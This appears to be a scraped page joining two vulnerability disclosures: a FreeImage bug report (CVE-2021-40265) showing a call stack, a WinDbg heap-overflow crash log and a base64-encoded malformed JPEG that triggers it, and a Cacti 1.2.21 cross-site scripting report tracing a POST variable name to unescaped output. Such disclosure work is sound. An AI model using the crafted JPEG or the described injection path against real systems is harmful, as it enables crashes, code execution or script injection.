FreeImage.dll!null\_convert(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* \* input\_buf, unsigned int input\_row, unsigned char \* \* output\_buf, int num\_rows)
FreeImage.dll!sep\_upsample(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* \* input\_buf, unsigned int \* in\_row\_group\_ctr, unsigned int in\_row\_groups\_avail, unsigned char \* \* output\_buf, unsigned int \* out\_row\_ctr, unsigned int out\_rows\_avail)
FreeImage.dll!process\_data\_simple\_main(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* output\_buf, unsigned int \* out\_row\_ctr, unsigned int out\_rows\_avail)
FreeImage.dll!jpeg\_read\_scanlines(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* scanlines, unsigned int max\_lines)
FreeImage.dll!Load(FreeImageIO \* io, void \* handle, int page, int flags, void \* data)
FreeImage.dll!FreeImage\_LoadFromHandle(FREE\_IMAGE\_FORMAT fif, FreeImageIO \* io, void \* handle, int flags)
FreeImage.dll!FreeImage\_Load(FREE\_IMAGE\_FORMAT fif, const char \* filename, int flags)

Finally, it will cause the heap overflow if we make the "components" not in \[1, 2, 3\]. Moreover, it may has the risk of arbitrary code execution.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(5cb0.349c): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=608e0000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=0133f5c8 ebp\=0133f5f4 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(5cb0.349c): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=08539007 ebx\=00000009 ecx\=00000880 edx\=073590c8 esi\=00000721 edi\=00000000
eip\=1009aec5 esp\=0133f6cc ebp\=00000000 iopl\=0         nv up ei pl nz na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010206
FreeImage!jinit\_color\_deconverter+0x935:
1009aec5 8808            mov     byte ptr \[eax\],cl          ds:002b:08539007\=??
0:000\> db eax\-0x20
08538fe7  00 00 00 00 00 80 00 00-00 c0 c0 c0 c0 c0 80 c0  ................
08538ff7  c0 c0 c0 c0 d0 d0 d0 80\-d0 ?? ?? ?? ?? ?? ?? ??  .........???????
08539007  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539017  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539027  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539037  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539047  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539057  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 0133f6d8 1009a383     00000808 073536cc 00000000 FreeImage!jinit\_color\_deconverter+0x935 (FPO: \[Uses EBP\] \[5,0,1\])
01 0133f704 100991d3     073536c0 07354fe0 07355008 FreeImage!jinit\_upsampler+0x263 (FPO: \[Uses EBP\] \[7,1,4\])
02 0133f734 10085bfa     0133f830 0133fa18 0133f754 FreeImage!jinit\_d\_main\_controller+0x1f3 (FPO: \[Uses EBP\] \[4,0,4\])
03 0133f74c 1002283f     00000000 0133fa18 00000001 FreeImage!jpeg\_read\_scanlines+0x8a (FPO: \[3,0,1\])
04 0133fa48 1000d9de     0133fa9c 07339fc8 ffffffff FreeImage!jpeg\_freeimage\_dst+0x1b1f (FPO: \[5,183,3\])
05 0133fa7c 1000da60     00000002 0133fa9c 07339fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
06 0133faa8 00b0107b     00000002 07335fee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/jpeg;base64,/9j/2wADAP/KACMICAgICAkBETLvESEDESH/QSF5IgAxETExFDExIjExETEx/9oACAF5AAAAAA\==

**2 Attachments**

**Discussion**

Log in to post a comment.

CVE-2021-40265: FreeImage / Bugs / #337 A heap_overflow on PluginJPEG.cpp when Load() SOF(Start Of Frame) JPEG

Cross Site Scripting (XSS) vulnerability in Cacti 1.2.21 via crafted POST request to graphs_new.php.

XSS vulnerability in Cacti https://github.com/Cacti/cacti version v1.2.21

The path of the vulnerability. In file https://github.com/Cacti/cacti/blob/develop/graphs\_new.php

//line 40
switch (get\_request\_var('action')) {
              case 'save':
                            form\_save();
 
//line 117 the source in $\_POST
function form\_save() {
              if (isset\_request\_var('save\_component\_graph')) {
                            /\* summarize the 'create graph from host template/snmp index' stuff into an array \*/
                            foreach ($\_POST as $var => $val) {
                            //…..
                           if (strpos($var, 'sgg\_') !== false) {
                                                         // Note: the source in $snmp\_query\_id then function store\_get\_selected\_dq\_index will be called
                                                         $snmp\_query\_id = str\_replace('sgg\_', '', $var);
                                                        store\_get\_selected\_dq\_index($snmp\_query\_id);
                                          }
                            }
            //…….
}
// line 100
Note the source in $snmp\_query\_id
function store\_get\_selected\_dq\_index($snmp\_query\_id) {
              // ….
              } elseif (isset\_request\_var('sgg\_' . $snmp\_query\_id)) {
                             // Note: get\_filter\_request\_var will be called
                            $selected = get\_filter\_request\_var('sgg\_' . $snmp\_query\_id);
              }
//….
}

In file https://github.com/Cacti/cacti/blob/develop/lib/html\_utility.php

//line 424
// the source in the argument $name
function get\_filter\_request\_var($name, $filter = FILTER\_VALIDATE\_INT, $options = array()) {
//….
//line 503
if ($value === false) {
                                          if ($filter == FILTER\_VALIDATE\_IS\_REGEX) {
                                                         //….
                                          } else {
                                                         // Note: function die\_html\_input\_error will be called
                                                         die\_html\_input\_error($name, get\_nfilter\_request\_var($name));
                                          }
                            }

In file https://github.com/Cacti/cacti/blob/develop/lib/html\_validate.php

//line 47
// Note: the source in $variable
function die\_html\_input\_error($variable = '', $value = '', $message = '') {
              //….
 
              if ($message == '') {
              // Note: the $message will include the $variable as I will explain later, then it will be printed
              $message = \_\_('Validation error for variable %s with a value of %s.  See backtrace below for more details.', $variable, $value);
              }
              //Note: the print of the $message
             $variable = ($variable != '' ? ', Variable:' . $variable : '');
              $value    = ($value    != '' ? ', Value:'    . $value    : '');
 
              if (defined('CACTI\_CLI\_ONLY')) {
                            cacti\_debug\_backtrace('Validation Error' . $variable . $value, false);
                            print $message . PHP\_EOL;
                            exit(1);
              } elseif (isset\_request\_var('json')) {
                            cacti\_debug\_backtrace('Validation Error' . $variable . $value, false);
                            print json\_encode(
                                          array(
                                                         'status' => '500',
                                                         'statusText' => \_\_('Validation Error'),
                                                         'responseText' => $message
                                          )
                            );
              } else {
                            cacti\_debug\_backtrace('Validation Error' . $variable . $value, true);
 
                            print "<table style='width:100%;text-align:center;'><tr><td>$message</td></tr></table>";
                            bottom\_footer();
              }
 
              exit;
}
}

In file https://github.com/Cacti/cacti/blob/develop/include/global\_languages.php

//line 432
function \_\_() {
              global $l10n;
 
              $args = func\_get\_args();
              $num  = func\_num\_args();
 
              //….
                            else{
                                          $args\[0\] = \_\_gettext($args\[0\]);
                            }
 
                            /\* process return string against input arguments \*/
                            return \_\_uf(call\_user\_func\_array('sprintf', $args));
              }
}
 
//line 393
function \_\_gettext($text, $domain = 'cacti') {
              //….
 
              if (!isset($translated)) {
                            $translated = $text;
              } 
 
              //…..
              return \_\_uf($translated);
}
 
//line 428
function \_\_uf($text) {
              return str\_replace('%%', '%', $text);
}

The vulnerability is confirmed by the developers. The email sent on 18/06/2022.

Tag

#js